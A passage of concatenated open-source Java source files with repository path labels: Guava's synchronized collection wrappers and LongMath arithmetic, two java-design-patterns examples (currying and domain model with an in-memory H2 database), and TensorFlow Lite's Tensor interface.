delegate().subSet(fromElement, fromInclusive, toElement, toInclusive), mutex); } } @Override public SortedSet<E> subSet(E fromElement, E toElement) { return subSet(fromElement, true, toElement, false); } @Override public NavigableSet<E> tailSet(E fromElement, boolean inclusive) { synchronized (mutex) { return Synchronized.navigableSet(delegate().tailSet(fromElement, inclusive), mutex); } } @Override public SortedSet<E> tailSet(E fromElement) { return tailSet(fromElement, true); } private static final long serialVersionUID = 0; } @GwtIncompatible // NavigableSet static <E extends @Nullable Object> NavigableSet<E> navigableSet( NavigableSet<E> navigableSet, @CheckForNull Object mutex) { return new SynchronizedNavigableSet<>(navigableSet, mutex); } @GwtIncompatible // NavigableSet static <E extends @Nullable Object> NavigableSet<E> navigableSet(NavigableSet<E> navigableSet) { return navigableSet(navigableSet, null); } @GwtIncompatible // NavigableMap static <K extends @Nullable Object, V extends @Nullable Object> NavigableMap<K, V> navigableMap( NavigableMap<K, V> navigableMap) { return navigableMap(navigableMap, null); } @GwtIncompatible // NavigableMap static <K extends @Nullable Object, V extends @Nullable Object> NavigableMap<K, V> navigableMap( NavigableMap<K, V> navigableMap, @CheckForNull Object mutex) { return new SynchronizedNavigableMap<>(navigableMap, mutex); } @GwtIncompatible // NavigableMap @VisibleForTesting static final class SynchronizedNavigableMap< K extends @Nullable Object, V extends @Nullable Object> extends SynchronizedSortedMap<K, V> implements NavigableMap<K, V> { SynchronizedNavigableMap(NavigableMap<K, V> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override NavigableMap<K, V> delegate() { return (NavigableMap<K, V>) super.delegate(); } @Override @CheckForNull public Map.Entry<K, V> ceilingEntry(K key) { synchronized (mutex) { return nullableSynchronizedEntry(delegate().ceilingEntry(key), mutex); } } @Override @CheckForNull public K ceilingKey(K key) { synchronized (mutex) { return delegate().ceilingKey(key); } } @CheckForNull transient NavigableSet<K> descendingKeySet; @Override public NavigableSet<K> descendingKeySet() { synchronized (mutex) { if (descendingKeySet == null) { return descendingKeySet = Synchronized.navigableSet(delegate().descendingKeySet(), mutex); } return descendingKeySet; } } @CheckForNull transient NavigableMap<K, V> descendingMap; @Override public NavigableMap<K, V> descendingMap() { synchronized (mutex) { if (descendingMap == null) { return descendingMap = navigableMap(delegate().descendingMap(), mutex); } return descendingMap; } } @Override @CheckForNull public Map.Entry<K, V> firstEntry() { synchronized (mutex) { return nullableSynchronizedEntry(delegate().firstEntry(), mutex); } } @Override @CheckForNull public Map.Entry<K, V> floorEntry(K key) { synchronized (mutex) { return nullableSynchronizedEntry(delegate().floorEntry(key), mutex); } } @Override @CheckForNull public K floorKey(K key) { synchronized (mutex) { return delegate().floorKey(key); } } @Override public NavigableMap<K, V> headMap(K toKey, boolean inclusive) { synchronized (mutex) { return navigableMap(delegate().headMap(toKey, inclusive), mutex); } } @Override public SortedMap<K, V> headMap(K toKey) { return headMap(toKey, false); } @Override @CheckForNull public Map.Entry<K, V> higherEntry(K key) { synchronized (mutex) { return nullableSynchronizedEntry(delegate().higherEntry(key), mutex); } } @Override @CheckForNull public K higherKey(K key) { synchronized (mutex) { return delegate().higherKey(key); } } @Override @CheckForNull public Map.Entry<K, V> lastEntry() { synchronized (mutex) { return nullableSynchronizedEntry(delegate().lastEntry(), mutex); } } @Override @CheckForNull public Map.Entry<K, V> lowerEntry(K key) { synchronized (mutex) { return nullableSynchronizedEntry(delegate().lowerEntry(key), mutex); } } @Override @CheckForNull public K lowerKey(K key) { synchronized (mutex) { return delegate().lowerKey(key); } } @Override public Set<K> keySet() { return navigableKeySet(); } @CheckForNull transient NavigableSet<K> navigableKeySet; @Override public NavigableSet<K> navigableKeySet() { synchronized (mutex) { if (navigableKeySet == null) { return navigableKeySet = Synchronized.navigableSet(delegate().navigableKeySet(), mutex); } return navigableKeySet; } } @Override @CheckForNull public Map.Entry<K, V> pollFirstEntry() { synchronized (mutex) { return nullableSynchronizedEntry(delegate().pollFirstEntry(), mutex); } } @Override @CheckForNull public Map.Entry<K, V> pollLastEntry() { synchronized (mutex) { return nullableSynchronizedEntry(delegate().pollLastEntry(), mutex); } } @Override public NavigableMap<K, V> subMap( K fromKey, boolean fromInclusive, K toKey, boolean toInclusive) { synchronized (mutex) { return navigableMap(delegate().subMap(fromKey, fromInclusive, toKey, toInclusive), mutex); } } @Override public SortedMap<K, V> subMap(K fromKey, K toKey) { return subMap(fromKey, true, toKey, false); } @Override public NavigableMap<K, V> tailMap(K fromKey, boolean inclusive) { synchronized (mutex) { return navigableMap(delegate().tailMap(fromKey, inclusive), mutex); } } @Override public SortedMap<K, V> tailMap(K fromKey) { return tailMap(fromKey, true); } private static final long serialVersionUID = 0; } @GwtIncompatible // works but is needed only for NavigableMap @CheckForNull private static <K extends @Nullable Object, V extends @Nullable Object> Map.Entry<K, V> nullableSynchronizedEntry( @CheckForNull Map.Entry<K, V> entry, @CheckForNull Object mutex) { if (entry == null) { return null; } return new SynchronizedEntry<>(entry, mutex); } @GwtIncompatible // works but is needed only for NavigableMap static final class SynchronizedEntry<K extends @Nullable Object, V extends @Nullable Object> extends SynchronizedObject implements Map.Entry<K, V> { SynchronizedEntry(Map.Entry<K, V> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @SuppressWarnings("unchecked") // guaranteed by the constructor @Override Map.Entry<K, V> delegate() { return (Map.Entry<K, V>) super.delegate(); } @Override public boolean equals(@CheckForNull Object obj) { synchronized (mutex) { return delegate().equals(obj); } } @Override public int hashCode() { synchronized (mutex) { return delegate().hashCode(); } } @Override public K getKey() { synchronized (mutex) { return delegate().getKey(); } } @Override public V getValue() { synchronized (mutex) { return delegate().getValue(); } } @Override public V setValue(V value) { synchronized (mutex) { return delegate().setValue(value); } } private static final long serialVersionUID = 0; } static <E extends @Nullable Object> Queue<E> queue(Queue<E> queue, @CheckForNull Object mutex) { return (queue instanceof SynchronizedQueue) ? queue : new SynchronizedQueue<E>(queue, mutex); } static class SynchronizedQueue<E extends @Nullable Object> extends SynchronizedCollection<E> implements Queue<E> { SynchronizedQueue(Queue<E> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override Queue<E> delegate() { return (Queue<E>) super.delegate(); } @Override public E element() { synchronized (mutex) { return delegate().element(); } } @Override public boolean offer(E e) { synchronized (mutex) { return delegate().offer(e); } } @Override @CheckForNull public E peek() { synchronized (mutex) { return delegate().peek(); } } @Override @CheckForNull public E poll() { synchronized (mutex) { return delegate().poll(); } } @Override public E remove() { synchronized (mutex) { return delegate().remove(); } } private static final long serialVersionUID = 0; } static <E extends @Nullable Object> Deque<E> deque(Deque<E> deque, @CheckForNull Object mutex) { return new SynchronizedDeque<>(deque, mutex); } static final class SynchronizedDeque<E extends @Nullable Object> extends SynchronizedQueue<E> implements Deque<E> { SynchronizedDeque(Deque<E> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override Deque<E> delegate() { return (Deque<E>) super.delegate(); } @Override public void addFirst(E e) { synchronized (mutex) { delegate().addFirst(e); } } @Override public void addLast(E e) { synchronized (mutex) { delegate().addLast(e); } } @Override public boolean offerFirst(E e) { synchronized (mutex) { return delegate().offerFirst(e); } } @Override public boolean offerLast(E e) { synchronized (mutex) { return delegate().offerLast(e); } } @Override public E removeFirst() { synchronized (mutex) { return delegate().removeFirst(); } } @Override public E removeLast() { synchronized (mutex) { return delegate().removeLast(); } } @Override @CheckForNull public E pollFirst() { synchronized (mutex) { return delegate().pollFirst(); } } @Override @CheckForNull public E pollLast() { synchronized (mutex) { return delegate().pollLast(); } } @Override public E getFirst() { synchronized (mutex) { return delegate().getFirst(); } } @Override public E getLast() { synchronized (mutex) { return delegate().getLast(); } } @Override @CheckForNull public E peekFirst() { synchronized (mutex) { return delegate().peekFirst(); } } @Override @CheckForNull public E peekLast() { synchronized (mutex) { return delegate().peekLast(); } } @Override public boolean removeFirstOccurrence(@CheckForNull Object o) { synchronized (mutex) { return delegate().removeFirstOccurrence(o); } } @Override public boolean removeLastOccurrence(@CheckForNull Object o) { synchronized (mutex) { return delegate().removeLastOccurrence(o); } } @Override public void push(E e) { synchronized (mutex) { delegate().push(e); } } @Override public E pop() { synchronized (mutex) { return delegate().pop(); } } @Override public Iterator<E> descendingIterator() { synchronized (mutex) { return delegate().descendingIterator(); } } private static final long serialVersionUID = 0; } static <R extends @Nullable Object, C extends @Nullable Object, V extends @Nullable Object> Table<R, C, V> table(Table<R, C, V> table, @CheckForNull Object mutex) { return new SynchronizedTable<>(table, mutex); } static final class SynchronizedTable< R extends @Nullable Object, C extends @Nullable Object, V extends @Nullable Object> extends SynchronizedObject implements Table<R, C, V> { SynchronizedTable(Table<R, C, V> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @SuppressWarnings("unchecked") @Override Table<R, C, V> delegate() { return (Table<R, C, V>) super.delegate(); } @Override public boolean contains(@CheckForNull Object rowKey, @CheckForNull Object columnKey) { synchronized (mutex) { return delegate().contains(rowKey, columnKey); } } @Override public boolean containsRow(@CheckForNull Object rowKey) { synchronized (mutex) { return delegate().containsRow(rowKey); } } @Override public boolean containsColumn(@CheckForNull Object columnKey) { synchronized (mutex) { return delegate().containsColumn(columnKey); } } @Override public boolean containsValue(@CheckForNull Object value) { synchronized (mutex) { return delegate().containsValue(value); } } @Override @CheckForNull public V get(@CheckForNull Object rowKey, @CheckForNull Object columnKey) { synchronized (mutex) { return delegate().get(rowKey, columnKey); } } @Override public boolean isEmpty() { synchronized (mutex) { return delegate().isEmpty(); } } @Override public int size() { synchronized (mutex) { return delegate().size(); } } @Override public void clear() { synchronized (mutex) { delegate().clear(); } } @Override @CheckForNull public V put( @ParametricNullness R rowKey, @ParametricNullness C columnKey, @ParametricNullness V value) { synchronized (mutex) { return delegate().put(rowKey, columnKey, value); } } @Override public void putAll(Table<? extends R, ? extends C, ? extends V> table) { synchronized (mutex) { delegate().putAll(table); } } @Override @CheckForNull public V remove(@CheckForNull Object rowKey, @CheckForNull Object columnKey) { synchronized (mutex) { return delegate().remove(rowKey, columnKey); } } @Override public Map<C, V> row(@ParametricNullness R rowKey) { synchronized (mutex) { return map(delegate().row(rowKey), mutex); } } @Override public Map<R, V> column(@ParametricNullness C columnKey) { synchronized (mutex) { return map(delegate().column(columnKey), mutex); } } @Override public Set<Cell<R, C, V>> cellSet() { synchronized (mutex) { return set(delegate().cellSet(), mutex); } } @Override public Set<R> rowKeySet() { synchronized (mutex) { return set(delegate().rowKeySet(), mutex); } } @Override public Set<C> columnKeySet() { synchronized (mutex) { return set(delegate().columnKeySet(), mutex); } } @Override public Collection<V> values() { synchronized (mutex) { return collection(delegate().values(), mutex); } } @Override public Map<R, Map<C, V>> rowMap() { synchronized (mutex) { return map( Maps.transformValues( delegate().rowMap(), new com.google.common.base.Function<Map<C, V>, Map<C, V>>() { @Override public Map<C, V> apply(Map<C, V> t) { return map(t, mutex); } }), mutex); } } @Override public Map<C, Map<R, V>> columnMap() { synchronized (mutex) { return map( Maps.transformValues( delegate().columnMap(), new com.google.common.base.Function<Map<R, V>, Map<R, V>>() { @Override public Map<R, V> apply(Map<R, V> t) { return map(t, mutex); } }), mutex); } } @Override public int hashCode() { synchronized (mutex) { return delegate().hashCode(); } } @Override public boolean equals(@CheckForNull Object obj) { if (this == obj) { return true; } synchronized (mutex) { return delegate().equals(obj); } } } }
google/guava
guava/src/com/google/common/collect/Synchronized.java
396
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.currying; import java.time.LocalDate; import java.util.Objects; import java.util.function.Function; import lombok.AllArgsConstructor; /** * Book class. */ @AllArgsConstructor public class Book { private final Genre genre; private final String author; private final String title; private final LocalDate publicationDate; @Override public boolean equals(Object o) { if (this == o) { return true; } if (o == null || getClass() != o.getClass()) { return false; } Book book = (Book) o; return Objects.equals(author, book.author) && Objects.equals(genre, book.genre) && Objects.equals(title, book.title) && Objects.equals(publicationDate, book.publicationDate); } @Override public int hashCode() { return Objects.hash(author, genre, title, publicationDate); } @Override public String toString() { return "Book{" + "genre=" + genre + ", author='" + author + '\'' + ", title='" + title + '\'' + ", publicationDate=" + publicationDate + '}'; } /** * Curried book builder/creator function. */ static Function<Genre, Function<String, Function<String, Function<LocalDate, Book>>>> book_creator = bookGenre -> bookAuthor -> bookTitle -> bookPublicationDate -> new Book(bookGenre, bookAuthor, bookTitle, bookPublicationDate); /** * Implements the builder pattern using functional interfaces to create a more readable book * creator function. This function is equivalent to the BOOK_CREATOR function. */ public static AddGenre builder() { return genre -> author -> title -> publicationDate -> new Book(genre, author, title, publicationDate); } /** * Functional interface which adds the genre to a book. */ public interface AddGenre { Book.AddAuthor withGenre(Genre genre); } /** * Functional interface which adds the author to a book. */ public interface AddAuthor { Book.AddTitle withAuthor(String author); } /** * Functional interface which adds the title to a book. */ public interface AddTitle { Book.AddPublicationDate withTitle(String title); } /** * Functional interface which adds the publication date to a book. */ public interface AddPublicationDate { Book withPublicationDate(LocalDate publicationDate); } }
Skarlso/java-design-patterns
currying/src/main/java/com/iluwatar/currying/Book.java
397
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ package org.tensorflow.lite; import java.nio.ByteBuffer; /** * A typed multi-dimensional array used in Tensorflow Lite. * * <p>The native handle of a {@code Tensor} is managed by {@code NativeInterpreterWrapper}, and does * not needed to be closed by the client. However, once the {@code NativeInterpreterWrapper} has * been closed, the tensor handle will be invalidated. */ public interface Tensor { /** * Quantization parameters that corresponds to the table, {@code QuantizationParameters}, in the * <a * href="https://github.com/tensorflow/tensorflow/blob/master/tensorflow/lite/schema/schema.fbs">TFLite * Model schema file.</a> * * <p>Since per-channel quantization does not apply to input and output tensors, {@code scale} and * {@code zero_point} are both single values instead of arrays. * * <p>For tensor that are not quantized, the values of scale and zero_point are both 0. * * <p>Given a quantized value q, the corresponding float value f should be: <br> * f = scale * (q - zero_point) <br> */ class QuantizationParams { /** The scale value used in quantization. */ private final float scale; /** The zero point value used in quantization. */ private final int zeroPoint; /** * Creates a {@link QuantizationParams} with {@code scale} and {@code zero_point}. * * @param scale The scale value used in quantization. * @param zeroPoint The zero point value used in quantization. */ public QuantizationParams(final float scale, final int zeroPoint) { this.scale = scale; this.zeroPoint = zeroPoint; } /** Returns the scale value. */ public float getScale() { return scale; } /** Returns the zero point value. */ public int getZeroPoint() { return zeroPoint; } } /** Returns the {@link DataType} of elements stored in the Tensor. */ DataType dataType(); /** * Returns the number of dimensions (sometimes referred to as <a * href="https://www.tensorflow.org/resources/dims_types.html#rank">rank</a>) of the Tensor. * * <p>Will be 0 for a scalar, 1 for a vector, 2 for a matrix, 3 for a 3-dimensional tensor etc. */ int numDimensions(); /** Returns the size, in bytes, of the tensor data. */ int numBytes(); /** Returns the number of elements in a flattened (1-D) view of the tensor. */ int numElements(); /** * Returns the <a href="https://www.tensorflow.org/resources/dims_types.html#shape">shape</a> of * the Tensor, i.e., the sizes of each dimension. * * @return an array where the i-th element is the size of the i-th dimension of the tensor. */ int[] shape(); /** * Returns the original <a * href="https://www.tensorflow.org/resources/dims_types.html#shape">shape</a> of the Tensor, * i.e., the sizes of each dimension - before any resizing was performed. Unknown dimensions are * designated with a value of -1. * * @return an array where the i-th element is the size of the i-th dimension of the tensor. */ int[] shapeSignature(); /** * Returns the (global) index of the tensor within the subgraph of the owning interpreter. * * @hide */ int index(); /** * Returns the name of the tensor within the owning interpreter. * * @hide */ String name(); /** * Returns the quantization parameters of the tensor within the owning interpreter. * * <p>Only quantized tensors have valid {@code QuantizationParameters}. For tensor that are not * quantized, the values of scale and zero_point are both 0. */ QuantizationParams quantizationParams(); /** * Returns a read-only {@code ByteBuffer} view of the tensor data. * * <p>In general, this method is most useful for obtaining a read-only view of output tensor data, * *after* inference has been executed (e.g., via {@link InterpreterApi#run(Object,Object)}). In * particular, some graphs have dynamically shaped outputs, which can make feeding a predefined * output buffer to the interpreter awkward. Example usage: * * <pre> {@code * interpreter.run(input, null); * ByteBuffer outputBuffer = interpreter.getOutputTensor(0).asReadOnlyBuffer(); * // Copy or read from outputBuffer.}</pre> * * <p>WARNING: If the tensor has not yet been allocated, e.g., before inference has been executed, * the result is undefined. Note that the underlying tensor pointer may also change when the * tensor is invalidated in any way (e.g., if inference is executed, or the graph is resized), so * it is *not* safe to hold a reference to the returned buffer beyond immediate use directly * following inference. Example *bad* usage: * * <pre> {@code * ByteBuffer outputBuffer = interpreter.getOutputTensor(0).asReadOnlyBuffer(); * interpreter.run(input, null); * // Copy or read from outputBuffer (which may now be invalid).}</pre> * * @throws IllegalArgumentException if the tensor data has not been allocated. */ ByteBuffer asReadOnlyBuffer(); }
tensorflow/tensorflow
tensorflow/lite/java/src/main/java/org/tensorflow/lite/Tensor.java
399
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.domainmodel; import static org.joda.money.CurrencyUnit.USD; import java.sql.SQLException; import java.time.LocalDate; import javax.sql.DataSource; import org.h2.jdbcx.JdbcDataSource; import org.joda.money.Money; /** * Domain Model pattern is a more complex solution for organizing domain logic than Transaction * Script and Table Module. It provides an object-oriented way of dealing with complicated logic. * Instead of having one procedure that handles all business logic for a user action like * Transaction Script there are multiple objects and each of them handles a slice of domain logic * that is relevant to it. The significant difference between Domain Model and Table Module pattern * is that in Table Module a single class encapsulates all the domain logic for all records stored * in table when in Domain Model every single class represents only one record in underlying table. * * <p>In this example, we will use the Domain Model pattern to implement buying of products * by customers in a Shop. The main method will create a customer and a few products. * Customer will do a few purchases, try to buy product which are too expensive for him, * return product which he bought to return money.</p> */ public class App { public static final String H2_DB_URL = "jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1"; public static final String CREATE_SCHEMA_SQL = "CREATE TABLE CUSTOMERS (name varchar primary key, money decimal);" + "CREATE TABLE PRODUCTS (name varchar primary key, price decimal, expiration_date date);" + "CREATE TABLE PURCHASES (" + "product_name varchar references PRODUCTS(name)," + "customer_name varchar references CUSTOMERS(name));"; public static final String DELETE_SCHEMA_SQL = "DROP TABLE PURCHASES IF EXISTS;" + "DROP TABLE CUSTOMERS IF EXISTS;" + "DROP TABLE PRODUCTS IF EXISTS;"; /** * Program entry point. * * @param args command line arguments * @throws Exception if any error occurs */ public static void main(String[] args) throws Exception { // Create data source and create the customers, products and purchases tables final var dataSource = createDataSource(); deleteSchema(dataSource); createSchema(dataSource); // create customer var customerDao = new CustomerDaoImpl(dataSource); var tom = Customer.builder() .name("Tom") .money(Money.of(USD, 30)) .customerDao(customerDao) .build(); tom.save(); // create products var productDao = new ProductDaoImpl(dataSource); var eggs = Product.builder() .name("Eggs") .price(Money.of(USD, 10.0)) .expirationDate(LocalDate.now().plusDays(7)) .productDao(productDao) .build(); var butter = Product.builder() .name("Butter") .price(Money.of(USD, 20.00)) .expirationDate(LocalDate.now().plusDays(9)) .productDao(productDao) .build(); var cheese = Product.builder() .name("Cheese") .price(Money.of(USD, 25.0)) .expirationDate(LocalDate.now().plusDays(2)) .productDao(productDao) .build(); eggs.save(); butter.save(); cheese.save(); // show money balance of customer after each purchase tom.showBalance(); tom.showPurchases(); // buy eggs tom.buyProduct(eggs); tom.showBalance(); // buy butter tom.buyProduct(butter); tom.showBalance(); // trying to buy cheese, but receive a refusal // because he didn't have enough money tom.buyProduct(cheese); tom.showBalance(); // return butter and get money back tom.returnProduct(butter); tom.showBalance(); // Tom can buy cheese now because he has enough money // and there is a discount on cheese because it expires in 2 days tom.buyProduct(cheese); tom.save(); // show money balance and purchases after shopping tom.showBalance(); tom.showPurchases(); } private static DataSource createDataSource() { var dataSource = new JdbcDataSource(); dataSource.setUrl(H2_DB_URL); return dataSource; } private static void deleteSchema(DataSource dataSource) throws SQLException { try (var connection = dataSource.getConnection(); var statement = connection.createStatement()) { statement.execute(DELETE_SCHEMA_SQL); } } private static void createSchema(DataSource dataSource) throws SQLException { try (var connection = dataSource.getConnection(); var statement = connection.createStatement()) { statement.execute(CREATE_SCHEMA_SQL); } } }
arasgungore/java-design-patterns
domain-model/src/main/java/com/iluwatar/domainmodel/App.java
400
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.math; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.math.MathPreconditions.checkNoOverflow; import static com.google.common.math.MathPreconditions.checkNonNegative; import static com.google.common.math.MathPreconditions.checkPositive; import static com.google.common.math.MathPreconditions.checkRoundingUnnecessary; import static java.lang.Math.abs; import static java.lang.Math.min; import static java.math.RoundingMode.HALF_EVEN; import static java.math.RoundingMode.HALF_UP; import com.google.common.annotations.GwtCompatible; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.VisibleForTesting; import com.google.common.primitives.Longs; import com.google.common.primitives.UnsignedLongs; import java.math.BigInteger; import java.math.RoundingMode; /** * A class for arithmetic on values of type {@code long}. Where possible, methods are defined and * named analogously to their {@code BigInteger} counterparts. * * <p>The implementations of many methods in this class are based on material from Henry S. Warren, * Jr.'s <i>Hacker's Delight</i>, (Addison Wesley, 2002). * * <p>Similar functionality for {@code int} and for {@link BigInteger} can be found in {@link * IntMath} and {@link BigIntegerMath} respectively. For other common operations on {@code long} * values, see {@link com.google.common.primitives.Longs}. * * @author Louis Wasserman * @since 11.0 */ @GwtCompatible(emulated = true) @ElementTypesAreNonnullByDefault public final class LongMath { // NOTE: Whenever both tests are cheap and functional, it's faster to use &, | instead of &&, || @VisibleForTesting static final long MAX_SIGNED_POWER_OF_TWO = 1L << (Long.SIZE - 2); /** * Returns the smallest power of two greater than or equal to {@code x}. This is equivalent to * {@code checkedPow(2, log2(x, CEILING))}. * * @throws IllegalArgumentException if {@code x <= 0} * @throws ArithmeticException of the next-higher power of two is not representable as a {@code * long}, i.e. when {@code x > 2^62} * @since 20.0 */ public static long ceilingPowerOfTwo(long x) { checkPositive("x", x); if (x > MAX_SIGNED_POWER_OF_TWO) { throw new ArithmeticException("ceilingPowerOfTwo(" + x + ") is not representable as a long"); } return 1L << -Long.numberOfLeadingZeros(x - 1); } /** * Returns the largest power of two less than or equal to {@code x}. This is equivalent to {@code * checkedPow(2, log2(x, FLOOR))}. * * @throws IllegalArgumentException if {@code x <= 0} * @since 20.0 */ public static long floorPowerOfTwo(long x) { checkPositive("x", x); // Long.highestOneBit was buggy on GWT. We've fixed it, but I'm not certain when the fix will // be released. return 1L << ((Long.SIZE - 1) - Long.numberOfLeadingZeros(x)); } /** * Returns {@code true} if {@code x} represents a power of two. * * <p>This differs from {@code Long.bitCount(x) == 1}, because {@code * Long.bitCount(Long.MIN_VALUE) == 1}, but {@link Long#MIN_VALUE} is not a power of two. */ @SuppressWarnings("ShortCircuitBoolean") public static boolean isPowerOfTwo(long x) { return x > 0 & (x & (x - 1)) == 0; } /** * Returns 1 if {@code x < y} as unsigned longs, and 0 otherwise. Assumes that x - y fits into a * signed long. The implementation is branch-free, and benchmarks suggest it is measurably faster * than the straightforward ternary expression. */ @VisibleForTesting static int lessThanBranchFree(long x, long y) { // Returns the sign bit of x - y. return (int) (~~(x - y) >>> (Long.SIZE - 1)); } /** * Returns the base-2 logarithm of {@code x}, rounded according to the specified rounding mode. * * @throws IllegalArgumentException if {@code x <= 0} * @throws ArithmeticException if {@code mode} is {@link RoundingMode#UNNECESSARY} and {@code x} * is not a power of two */ @SuppressWarnings("fallthrough") // TODO(kevinb): remove after this warning is disabled globally public static int log2(long x, RoundingMode mode) { checkPositive("x", x); switch (mode) { case UNNECESSARY: checkRoundingUnnecessary(isPowerOfTwo(x)); // fall through case DOWN: case FLOOR: return (Long.SIZE - 1) - Long.numberOfLeadingZeros(x); case UP: case CEILING: return Long.SIZE - Long.numberOfLeadingZeros(x - 1); case HALF_DOWN: case HALF_UP: case HALF_EVEN: // Since sqrt(2) is irrational, log2(x) - logFloor cannot be exactly 0.5 int leadingZeros = Long.numberOfLeadingZeros(x); long cmp = MAX_POWER_OF_SQRT2_UNSIGNED >>> leadingZeros; // floor(2^(logFloor + 0.5)) int logFloor = (Long.SIZE - 1) - leadingZeros; return logFloor + lessThanBranchFree(cmp, x); } throw new AssertionError("impossible"); } /** The biggest half power of two that fits into an unsigned long */ @VisibleForTesting static final long MAX_POWER_OF_SQRT2_UNSIGNED = 0xB504F333F9DE6484L; /** * Returns the base-10 logarithm of {@code x}, rounded according to the specified rounding mode. * * @throws IllegalArgumentException if {@code x <= 0} * @throws ArithmeticException if {@code mode} is {@link RoundingMode#UNNECESSARY} and {@code x} * is not a power of ten */ @GwtIncompatible // TODO @SuppressWarnings("fallthrough") // TODO(kevinb): remove after this warning is disabled globally public static int log10(long x, RoundingMode mode) { checkPositive("x", x); int logFloor = log10Floor(x); long floorPow = powersOf10[logFloor]; switch (mode) { case UNNECESSARY: checkRoundingUnnecessary(x == floorPow); // fall through case FLOOR: case DOWN: return logFloor; case CEILING: case UP: return logFloor + lessThanBranchFree(floorPow, x); case HALF_DOWN: case HALF_UP: case HALF_EVEN: // sqrt(10) is irrational, so log10(x)-logFloor is never exactly 0.5 return logFloor + lessThanBranchFree(halfPowersOf10[logFloor], x); } throw new AssertionError(); } @GwtIncompatible // TODO static int log10Floor(long x) { /* * Based on Hacker's Delight Fig. 11-5, the two-table-lookup, branch-free implementation. * * The key idea is that based on the number of leading zeros (equivalently, floor(log2(x))), we * can narrow the possible floor(log10(x)) values to two. For example, if floor(log2(x)) is 6, * then 64 <= x < 128, so floor(log10(x)) is either 1 or 2. */ int y = maxLog10ForLeadingZeros[Long.numberOfLeadingZeros(x)]; /* * y is the higher of the two possible values of floor(log10(x)). If x < 10^y, then we want the * lower of the two possible values, or y - 1, otherwise, we want y. */ return y - lessThanBranchFree(x, powersOf10[y]); } // maxLog10ForLeadingZeros[i] == floor(log10(2^(Long.SIZE - i))) @VisibleForTesting static final byte[] maxLog10ForLeadingZeros = { 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 12, 12, 11, 11, 11, 10, 10, 10, 9, 9, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0 }; @GwtIncompatible // TODO @VisibleForTesting static final long[] powersOf10 = { 1L, 10L, 100L, 1000L, 10000L, 100000L, 1000000L, 10000000L, 100000000L, 1000000000L, 10000000000L, 100000000000L, 1000000000000L, 10000000000000L, 100000000000000L, 1000000000000000L, 10000000000000000L, 100000000000000000L, 1000000000000000000L }; // halfPowersOf10[i] = largest long less than 10^(i + 0.5) @GwtIncompatible // TODO @VisibleForTesting static final long[] halfPowersOf10 = { 3L, 31L, 316L, 3162L, 31622L, 316227L, 3162277L, 31622776L, 316227766L, 3162277660L, 31622776601L, 316227766016L, 3162277660168L, 31622776601683L, 316227766016837L, 3162277660168379L, 31622776601683793L, 316227766016837933L, 3162277660168379331L }; /** * Returns {@code b} to the {@code k}th power. Even 